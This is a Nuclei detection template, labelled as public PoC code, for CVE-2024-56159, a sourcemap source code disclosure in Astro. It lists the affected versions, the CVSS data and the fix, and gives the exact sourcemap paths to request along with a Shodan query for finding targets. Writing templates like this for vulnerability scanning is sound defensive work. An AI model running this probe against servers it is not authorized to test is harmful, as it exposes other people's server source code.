Astro versions v5.0.3 through v5.0.7 and Astro v4.16.17 or older with sourcemaps enabled contain a source code disclosure caused by sourcemap files being publicly accessible in the build output folder, letting unauthenticated users read server source code, exploit requires sourcemaps to be enabled.
PoC代码[已公开]
id: CVE-2024-56159
info:
name: Astro - Information Disclosure
author: theamanrawat
severity: medium
description: |
Astro versions v5.0.3 through v5.0.7 and Astro v4.16.17 or older with sourcemaps enabled contain a source code disclosure caused by sourcemap files being publicly accessible in the build output folder, letting unauthenticated users read server source code, exploit requires sourcemaps to be enabled.
impact: |
Unauthenticated users can access server source code, potentially leading to discovery of further vulnerabilities or sensitive information.
remediation: |
Update Astro to version 5.0.8 or later for server-output projects, and to 5.0.9 or later (or 4.16.18 for Astro v4) for static-output projects with sourcemaps enabled.
reference:
- https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr
- https://nvd.nist.gov/vuln/detail/CVE-2024-56159
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-56159
epss-score: 0.00184
epss-percentile: 0.40338
cwe-id: CWE-219
metadata:
verified: true
max-request: 1
shodan-query: http.html:"astro"
tags: cve,cve2024,astro,sourcemap,exposure
http:
- method: GET
path:
- "{{BaseURL}}/pages/index.astro.mjs.map"
- "{{BaseURL}}/index.astro.mjs.map"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"version":'
- '"sources":'
- '"sourcesContent":'
- '.astro'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100c68292474a34929fdba5f89ea47ed7d2eabfae5024cddbba6335f305042ea6c6022071827c892b5cb085b38aec18f5ecf0f6056199448399eb8b8c566bc2056792de:922c64590222798bb761d5b6d8e72950